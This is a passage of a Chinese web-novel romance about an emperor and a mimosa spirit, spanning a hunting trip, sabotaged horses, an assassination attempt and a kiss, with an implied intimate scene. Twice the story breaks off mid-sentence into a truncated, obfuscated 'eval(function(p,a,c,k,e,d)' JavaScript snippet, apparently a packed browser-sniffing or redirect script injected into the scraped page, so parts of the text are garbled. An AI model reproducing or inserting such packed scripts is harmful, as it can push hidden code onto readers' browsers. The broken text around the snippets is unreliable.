刚好膳房送来了粳米粥,叶眠也没喝,拿着粳米粥,跟着苏承恩前往御帐。 * “万岁,叶昭卿求见。” 萧厉笔走龙蛇,头也不抬:“他来做什么,就说朕国事繁忙,让他回去。” 苏承恩早有准备,陪着笑:“万岁,您看着外面乌云密布的,估摸着马上就要下雨,叶昭卿如果现在回去,恐怕会被雨淋着。” “也罢,那就让他进来。” “皇上,我给你带了肉粥,你尝尝吗?”叶眠举着食盒跑到萧厉身边,“国事再忙也要记得好好吃饭。” 萧厉连一个眼神都没分给叶眠,冷冰冰硬邦邦地说:“朕不饿。” “哦。” 叶眠只好讷讷拎着食盒站在旁边。 御帐安静得空气都好像凝在了一起。 萧厉批完一本折子,随手又拿起一本,不经意间瞟见了站在角落的叶眠。 小小一只,孤零零站着,有点可怜。 他不自觉缓和了语气:“你吃晚饭了吗?” 叶眠诚实地摇摇头:“还没。” 萧厉无奈地谈口气:“过来,先吃饭” * “我特意给你带的热粥和小菜,最近每天都吃肉,偶尔喝点粥也挺好的。” 叶眠还记得苏承恩说萧厉心情不好,忙前忙后地盛粥布菜。 热粥暂时浇灭了萧厉心中的怒火和烦闷,他看了眼没心没肺大口喝粥的叶眠。 算了,根棵草较什么劲呢? 他把碗放下,给叶眠加了一块水晶肘子,这是小含羞草爱吃的菜。 叶眠果然笑了:“谢谢万岁。” 他把水晶肘子嗷呜一口吃掉:“皇上,你能不能不要娶萨仁郡主做妃子呀?” 萧厉心中蓦地一喜,强压这弯起来的嘴角,用食指点了点叶眠的鼻尖:“放肆,朕娶不娶萨仁郡主,也是你能管的?” 但是声音里并没怒气,反倒是有几分宠溺。 “可萨仁郡主今天中午和我说,她并不想入宫为妃。难道景朝和契丹维持和平,就只能靠联姻吗?” 萧厉脸色蓦地一边,声音冷了几分:“萨仁郡主不愿入宫,那你呢,你又是怎么想的?” 叶眠迷茫地眨眨眼:“这不是你和萨仁郡主之间的事吗?为什么要问我?” 萧厉的脸色彻底冷了下来:“给朕滚出去。” 下一刻,嘎啦一声,随着一道巨闪,豆大的雨点瞬间砸了下来。 叶眠的寝帐离御帐有一段距离,要是这会回去,肯定要被雨浇透了。 萧厉的脸色更黑了几分:“苏承恩,把外面的榻收拾出来,给叶昭卿睡。” 苏承恩手脚麻利地收拾好睡榻,临走前又低声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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小含羞草夸张地吸气,使劲揉脑袋,一双圆滚滚的大眼睛不满地看着萧厉。 皇帝被含羞草磨得没了脾气,张开双臂,叶眠立刻转悲为喜,从薄被里钻出来,扑进萧厉怀里,小脸在皇帝硬实的胸膛上蹭了蹭。 好暖和,好舒服! 萧厉很熟练地托着小含羞草的屁股,把他抱上屏风后面的龙榻,叶眠兴奋地在暄软的拔步床上滚了好几圈圈。 凡间还是挺好的,就连外面的雨声也不那么烦草了。 萧厉用绦子轻轻抽了一下那双从被子里伸出来的白胖脚丫:“盖好被子,吹风着凉了看你怎么办?” 叶眠皱皱鼻子。 风寒是凡人才会得的,他可是大妖怪! 萧厉掀开被子躺进去,叶眠就很自然地滚过来,缩进萧厉怀里。 皇帝抱着软乎乎的含羞草,叹了口气:“叶眠,你有没有想过,若是朕纳了萨仁为妃,朕便会宿在她的寝宫,陪她用膳,同她下棋,就算是雷雨天,朕也只会哄她。朕对你的好,往后都要分一半给她,你愿意吗?” 叶眠垂下了睫毛,过了半天才咕哝道:“有一点不愿意。” 萧厉终于松了一口气,用下巴摩挲叶眠软乎乎的头发:“你若不愿意,朕便不纳萨仁。” “可你不纳萨仁郡主,还能不娶皇后吗?” 萧厉脸色蓦地一变。 往日最是能言善辩的皇帝沉吟了半晌还没想好说辞,他有些心虚地瞟了一眼叶眠,却发现小含羞草不知道什么时候已经沉沉睡去。 心真大啊。 萧厉失笑着摇了摇头,轻轻抚摸着叶眠软乎乎的头发。 可能是被摸得有点痒,小含羞草无意识地皱了皱眉,往萧厉怀里缩了缩,又睡过去了。 萧厉垂眸看着怀里的少年。 他的前半生,先皇视他为耻,生母和先皇后都把他当做争权夺宠的棋子,从来没有人这么无条件地信任他,依赖他,完完全全地归他所有。 可他早晚是要娶皇后的,到那个时候,小含羞草该怎么办? 萧厉眸子暗了暗,听着帐篷外哗啦啦的雨声,久久无眠。 * 竖日清晨,雨过天晴,天空碧蓝如新,空气里弥漫着湿漉漉的青草香味。 叶眠神清气爽地从御帐走出来,迫不及待地吸了口新鲜空气。 真舒服啊。 忽然,一团黑影从天上俯冲下来,一头扎进叶眠怀里。叶眠差点被扑倒,手忙脚乱地把九耀搂在怀里:“慢点,小心摔着。” 金雕委屈地嘤嘤叫,用脑袋一下一下蹭叶眠的脖子。 叶眠好声好气地哄:“不就是一晚上没陪你,至于吗?昨天雨下的太大了,所以才没让人接你过来,你也不想被淋成落汤鸡,是不是?” “站在外面做什么,今天的珠算题做了吗?” 叶眠和金雕同时被骂得缩了缩脖子,含羞草把金雕放在一边,不情不愿地小步挪回来:“皇上,我和萨仁郡主约好了,出去骑马打猎的。” 萧厉眉头皱了皱:“你跟萨仁郡主什么时候关系这么好了?” 叶眠浑没意识到萧厉慢慢变黑的脸色:“萨仁郡主人很好的,我喜欢萨仁郡主。” 什么就喜欢了! “就你那两下子,别再从马上摔下来。” “不会的,萨仁郡主很厉害,皇上你还不知道吧,之前那头棕熊其实是萨仁郡主猎的。” 看着小含羞草眼睛里闪烁的崇拜光芒,萧厉连更黑了。 “那也不许去,至少先把珠算做完。” “我们真的约好了,爽约不好的。我回来再做好不好,求你了。” 叶眠尾音拉长了些,配上那双圆滚滚的大眼睛,更显得可怜。 萧厉咬着牙挥挥手:“两个时辰必须回来,要不然就别用午膳了。” 叶眠高兴得跑出去,绦子上的玉佩叮叮当当响,过了好半天才传来一声:“您不用等我吃午膳了,萨仁郡主说,请我吃焖面炸糕手把肉。” 萧厉的脸彻底黑了,冲还傻愣愣站在帐篷外的金雕道:“你主人是不是没良心?” 九耀连半个眼神都没分给萧厉,一声长啸,展翅追着叶眠飞走了。 萧厉差点被气晕过去。 两个小冤家,都没良心! 25.第 25 章 “皇上!” 萧厉从奏折山里抬起头,就看到叶眠兴高采烈冲进来,手里拎着只野鸡,九耀探头探脑跟在后面,喙上拖着一只已经被啄死的灰狼。 被公务惹出的怒火一下就消下去不少,就连两广节度使的请安折子都看起来顺眼多了。 萧厉笔尖一顿,把“滚蛋”两个字换成“已阅”,合上奏折扔在一边,走到叶眠跟前,随手捏了捏少年软乎乎的脸蛋:“这回耍够了?” 叶眠软乎乎地笑笑,举起手上的野鸡:“皇上,这是我猎的,晚上可以吃烤鸡了。还有九耀猎的灰狼,皮毛可以给你做大氅。” 萧厉心中说不出的熨帖:“算你还有点良心。” 叶眠蹬掉鞋子,伸手就要拿桌上的黄油麻饼,被萧厉狠狠拍了一巴掌。 “净手没,就拿东西吃?不怕得病?” 叶眠皱了皱鼻子。 他是大妖怪,才不会得病。 苏承恩适时端来净手的热汤,叶眠随手涮了一下就要去抓甜饼,又被萧厉黑着脸拦了回来。 “手和水碰上了吗?少糊弄朕!” 萧厉抓着叶眠的手按进铜盆,拿起皂角使劲搓了搓:“这才是净手!” 捧着毛巾的苏承恩心里啧啧有声。 连洗手都要万岁教,这分明是把昭卿当孩子养呢吧! 叶眠洗干净手,迫不及待捧起黄油麻饼,仓鼠般一口口啃,萧厉施施然从抽屉里翻出珠算册子:“耍够了,明日该踏踏实实温书了吧?” “啊!”叶眠瞬间觉得嘴里的麻饼都不香了,郁闷地坐在地毯上,“又要温书啊!” 萧厉戳戳叶眠的脑袋:“你自己说,出宫之后,你做了几道珠算,背了几页《论语》?” 小含羞草自知理亏,不敢顶嘴,默默拿起珠算册子和算盘,噼里啪啦算起来。 “万岁,穆长安求见。” 萧厉面色一凛,揉了揉叶眠的脑袋:“朕这里还有公事,你先回自己的帐篷做题,晚膳之前至少做完十道。” “哦。” 叶眠敢怒不敢言,抱着算盘和题册,带着九耀离开御帐。 等叶眠走远了,萧厉才冲苏承恩摆摆手:“让穆长安进来。” “臣参见……” “免了,说正事。” 穆长安直起刚刚要弯下去的腿,拿出一个小竹筒递到萧厉面前。 萧厉打开竹筒,从里面抽出来一张纸条,上面只有七个字:癸巳日,子时,事发。 癸巳日,不正是后天? “居然又提前了三日。”萧厉冷笑一声,“按计行事。” 穆长安犹豫了片刻,还是跪下了:“皇上,您是万金之躯,不该立于危墙之下……” “少说废话。”帝王凌厉的眉眼间闪过几分决绝,“朕斗过太后,平过外患,哪次不是九死一生。新政推行迫在眉睫,天下百姓嗷嗷待哺,朕没有退路。更何况有叶将军在,料无大碍。” 穆长安叹了口气。 他们主子哪都好,就是疯起来的时候完全不把自己的命当回事。 “万岁,臣还有一事,前日金星白天划过长空,庄王就让人在京城大肆宣扬,天有异象,太白经天,天下革,民更王。①” “好一个天下革,民更王!这是想明修栈道,暗度陈仓啊。”萧厉凤眸闪过几分讥诮,“苏承恩,让张天师过来一趟,切忌要当着众人传旨,务必让朕那位好皇叔知道。” 苏承恩躬身:“奴才遵旨。” * “皇上,晚膳用什么呀?” 叶眠刚进御帐就嚷嚷着饿,萧厉却不为所动:“成日净想着吃,珠算做完了吗?《论语》抄完了吗?” 小含羞草当即垂下脑袋,嗫嚅道:“快……快做完了。” 萧厉压根不理他,扫了苏承恩一眼,苏承恩立刻接过小亭子手里的珠算册子,递到萧厉面前。 “一共十道珠算,只做了六道,还错了一半。”萧厉随手把本子扔在桌上,“叶眠,本事不小啊。” 叶眠头皮发麻,求助地看向苏承恩,苏承恩却蹭蹭蹭往后倒退三步,领着小亭子退出了御帐,顺便还抱走了扎着翅膀,在御帐里四处溜达的九耀。 真没义气! 叶眠气得鼓了鼓嘴,挪到萧厉身边:“我太饿了,没力气做题,才算错了的。” “太饿了?是谁以前说妖怪不用吃饭的?” 叶眠被怼得哑口无言,红着脸坐在萧厉脚边,猫儿一样蹭了蹭萧厉的腿:“错了嘛。” 萧厉板着脸:“就这么认错?” 叶眠脸更红了,两片圆滚滚的叶子羞答答地从头发里冒出来,叶子上的绒毛在夕阳的照射下,泛着漂亮的金色。 往常被萧厉碰叶子,叶眠也只是觉得不习惯,可这次他身体却生出了一种奇特的感觉。 他的人形从来没这个样子过,而且不管怎么努力都消不下去,甚至都没法变回本体。 “我变不回去了!” 萧厉被小含羞草逗笑了:“变不回去了?朕看看?” “你……你还笑!”叶眠气得瞪圆了眼睛,凶巴巴地瞪萧厉。 他都变不回去了,萧厉还笑话他。 怎么会有这么坏的人。 “行了,别气了,没坏,是叶卿长大了。” 叶眠茫然地看着萧厉:“什么长大了?” 对他们这种精怪来说,长大是很难的事,他修炼了三百年,本体还是小小的一株草。 萧厉并没解释,只是把叶眠抱起来,转进了屏风。 * 一刻钟后,叶眠手软脚软地从屏风后面走出来。 “舒服了?” 叶眠没理他,在铜盆里使劲搓着手。 萧厉一边净手,一边故意逗他:“自己的东西,朕都没嫌弃,你怎么还嫌弃上了?” 叶眠羞恼地瞪萧厉:“你……你不许再说了。” 要不是萧厉故意欺负他的叶子,他又怎么会这样! 叶枕怎么能随便碰! 于是,直到晚膳后,叶眠都赌气没跟萧厉说一句话。 “行了,怎么这么大气性。”萧厉揉了揉小含羞草的脑袋,“想不想去五彩月亮湖?” 叶眠眼睛蹭地亮了:“就是那个形状像天上的月亮,水还有五种颜色的湖?但是我听说月亮湖离咱们营地有三百多里地呢,太远了吧。” “那就去那边住一晚。” “真的!”叶眠瞬间忘了刚刚还和萧厉赌气,兴致勃勃地跟他介绍,“我听说五彩湖里有小白鲢,傻得很,用柳叶就能钓上来一长串,还有月亮型的鹅卵石,我们可以捡几块放到御花园的池子里。” 叶眠小嘴叭叭地说,萧厉就安静地坐在一旁听,等他都说完了,才咳嗽一声,状似平静:“朕还有公务,让萨仁郡主陪你去。” “啊,好吧。” 有一点点可惜。 不过叶眠很快又高兴了起来:“没事,我给你带漂亮的鹅卵石回来。” 萧厉眼睛里含着些叶眠看不懂的情绪,最终之化作一声温柔的叹息:“好,朕等着。” 昭卿出游是大事,更何况叶眠深得景帝宠爱。谁不知道,几天前就因为膳房怠慢了叶昭卿,从上到下都挨板子罚了俸禄,就连皇上身边的苏总管都受了连累。 现在叶眠要去月亮湖,哪个敢不尽心尽力? 苏承恩亲自安排,光是皇帝身边的御林军就调走了三成,车马辎重和伺候的奴才更是不计其数。 营帐边缘的马厩。 尚乘局的奉乘挥着马鞭,时不时往铲马粪的罪奴身上狠狠抽几下。 “走快点,别想着偷懒,狗攮的奴才笨手笨脚,这点活都干不好!” 罪奴诺诺连声往前走,连躲都不敢,直到奉乘转到马厩另一侧,才恶狠狠抬起头。 李德禄已经在掖庭做了三个月的罪奴,倒夜香、搬尸体、挑马粪,最脏最累的活不知道干了多少,还要忍受管事毫无来由的辱骂和毒打。 李德禄狠狠铲马粪,想象着这坨马粪就是那个狗眼看人低的奉乘。 忽然,隔壁传来奉乘谄媚的声音:“奴才见过直长大人,哪阵香风把您吹过来了?” “万岁圣旨,昭卿和郡主出游,马匹车辆可得准备好了?” “您放心,已经挑了最好的留出来,在小马厩单独养着,绝误不了主子们的大事。” 李德禄铲子微顿。 若不是叶昭卿,他也不至于沦落到这般田地。 李德禄浑浊的眼珠里浮现出几分阴狠,一个一石二鸟的计策瞬间在他脑海里成型。 当天晚上,李德禄偷偷爬起来,摸到隔壁小马厩,往马槽里加了几桶沙子。 铲了这么多天马粪,李德禄叶多少直到了些养马的常识,比如喂马的饲料里不能有砂石,否则马吃了轻则胃痛,重则丧命。 草原这么大,走上半天都不见得能看见个人影,若是半路上马出事了,前不着村后不着店,叶昭卿肯定要吃苦头,如果不慎再遇到什么豺狼野兽,说不定直接死在半路上了。 到那个时候,皇上怪罪下来,那个时时欺侮他的奉乘也得掉脑袋! 李德禄往干草里拌沙子,心中雀跃着复仇成功的喜悦。 所有欺负他的人,都得死! * “你快点,这算什么骑马啊,骑这么慢,马都看不起你。” 似乎是为了配合萨仁郡主的话,叶眠□□的白马不耐烦地打了个响鼻,还想尥蹶子把叶眠掀下去,盘旋在天上的九耀一声长啸,白马顿时老实了,一动不敢动,乖乖驮着叶眠慢慢往前走。 “不能再快了,骨头要颠散架了。”叶眠擦了擦头上的汗,“我要进马车休息了,你自己骑马吧” “马车多慢啊。咱们已经走了快二百里了,你努努力,咱们再跑一阵,说不定傍晚就能到。” 萨仁郡主说着,扬起马鞭,喊了声:“驾。” 然而,她身下的黑马一点动静儿都没有,甚至走得更慢了。 叶眠叹了口气:“你看,连马都累了,你就歇会儿吧。” “都怪你们景朝的马不行,要不是我的马怀上小马驹了,才不会用你们的……啊!” 萨仁郡主话音未落,黑马忽然腿一软,直接卧倒在了地上。萨仁郡主也被摔了个大马趴。 叶眠惊愕地看着摔在地上的萨仁,刚要从马上跳下来,自己骑的白马也卧了槽。叶眠被摔得晕头转向,等他终于爬起来的时候,就见御林军和太监的马也都四仰八叉地倒在地上,四蹄抽搐呜呜乱叫,还有的直接在地上打滚。 小亭子满脸慌乱地跑过来,扑通一声跪在地上:“昭卿,不知道是怎么回事,跟来的马都卧槽了。” 叶眠脸色骤变,声音颤抖:“都,是什么意思?” 小亭子带着哭腔,苦着脸:“就是所有马全都倒下了,一匹能跑的也没有了。” 萨仁郡主面色凝重,检查了一下马眼睛,又按了按马肚子:“恐怕是肠绞痛,恐怕这些马撑不下去了。” “这附近有没有牧民,我们去借些马匹。” 萨仁郡主摇摇头:“草原地方大,运气不好的时候走上一天都遇不见人,而且乱走很容易迷路,要是再遇上狼群就完蛋了。” “那怎么办啊?” “现在最好的办法,就是找个跑得快的御林军,回营地求助。” 叶眠摇摇头:“将近二百里地,就算跑得再快,跑回去也得一整天,再等人来营地派人来救我们,恐怕后天都不一定能等来救兵。先不说会不会被狼群攻击,恐怕我们带的干粮和水都不够。” 萨仁郡主拍拍手站起来,声音里带着已经认命的平静:“但这已经是最好的办法了,你又没长翅膀,总不能飞回营地吧。” 叶眠眼前一亮:“我没有翅膀,但是九耀有啊!先找个地方扎营,让大家歇息片刻,明早之前,我担保救援能赶来。” 叶眠打着写信求助地名头躲进帐篷,吩咐众人都不许打扰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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叶眠吓得叶子尖都立起来了,想也没想就冲过去,运起浑身的妖力,蹦起来挡住了刺客的尖刀。 营帐内爆发出一阵耀眼的绿光,黑衣人被一股莫名的力量冲得倒在地上。 萧厉蓦地从椅子上站起来,脸上再不复刚刚的从容。 “叶眠!” 看着斜斜躺在地上的小含羞草,萧厉浑身气压低得可怖,抽出早就准备好的龙泉剑,挡在叶眠身前。 刺客只以为景帝已经吓傻了,朝着萧厉就是一刀。萧厉不躲不闪,宝剑一档一转架开了刺客的刀,冲着他的前胸狠狠一脚。 扑通一声,刺客跌在地上,萧厉干脆利落地一箭割下刺客的首级。 鲜血溅了萧厉一脸,但他浑身不觉,而是蹲下身,小心地捧起含羞草。 嫩绿的茎上突兀地出现了一段光秃秃的部分。 萧厉这才注意到,地上掉落的一片叶子。 含羞草上只剩下七片叶子了。 “叶眠?” 萧厉的声音克制不住地发颤,小心地碰了碰含羞草的叶子尖。 果不其然,含羞草一点反应都没有,像是睡着了一样。 下一刻,帐外忽然传来了一阵杂乱的马蹄声,震得地面都微微发抖。 一名年轻的白袍将军冲进营帐,单膝跪地:“臣叶锋救驾来迟,吾皇赎罪。” 萧厉神色阴鸷:“留活口。” 叶锋的五千铁骑赶到后,局势一下就发生了翻天覆地的变化。狼群被乱箭射杀,刺客一个都没跑掉,全部被捆得严严实实。 但萧厉根本没功夫管这些刺客,他小心地把叶眠放在床榻上,厉声朝苏承恩呵道:“把张天师给朕叫过来,要快!” * 萧厉坐在床边,安静地可看着床上的含羞草。 原本让他去五彩湖,就是想支开他,怎么又回来了呢? 不听话,该罚。 萧厉叹了口气,轻轻摩挲着含羞草的叶子尖尖。 那么小一株,见到生人都会用叶子吧自己遮起来,居然帮他挡刀。 多傻啊。 因为块头太大,没有及时挤进来的九耀垂头耷脑地站在萧厉腿边。 都怪他,没保护好主人。 帐篷里安静地没有半分声响,忽然,一声突兀地轻哼传来,下一刻,床上的含羞草就变成了光裸的少年。 萧厉和九耀一齐愣住了。 暴君声音颤抖:“你没事?” 叶眠摇摇头。 刚刚消耗的灵力过多,他短暂地昏迷了一会儿,现在还有点蒙。 他们含羞草虽然攻击性不高,但防御能力很强,一片叶子就是一条命,不会有什么事。 等等,叶子! 叶眠低下头,就看到他枕边安静躺着的叶子。 完了。 之前只想着稍微慢点修炼出第九片叶子,这回可是慢大发了! 叶眠看着景帝,把心一横,从被窝里钻出来,搂着景帝的脖子就吻上了那双锋利的唇瓣。 没办法。 只能用这种来灵气最快的方法了! 萧厉神色一顿,手却先一步搂住了含羞草柔软的腰肢。 嘴唇上传来温热的触感,还带这些独特的青草味。 欣喜、庆幸、后怕、感动,各种感觉夹杂在一起,揉成了一股复杂的情绪,直涌向心头。 他以前只知道自己喜欢含羞草,也愿意宠着叶眠。 可直到今天他才意识到,他对叶眠,并不只是喜欢,不知道在什么时候,小含羞草悄悄走进了他的心房,让他体会到了何谓天地合,乃敢与君绝。 萧厉眼神暗了暗,蓦地反守为攻,加深了这个吻。 他要三媒六聘,光明正大地把叶眠娶进皇宫,做他的皇后。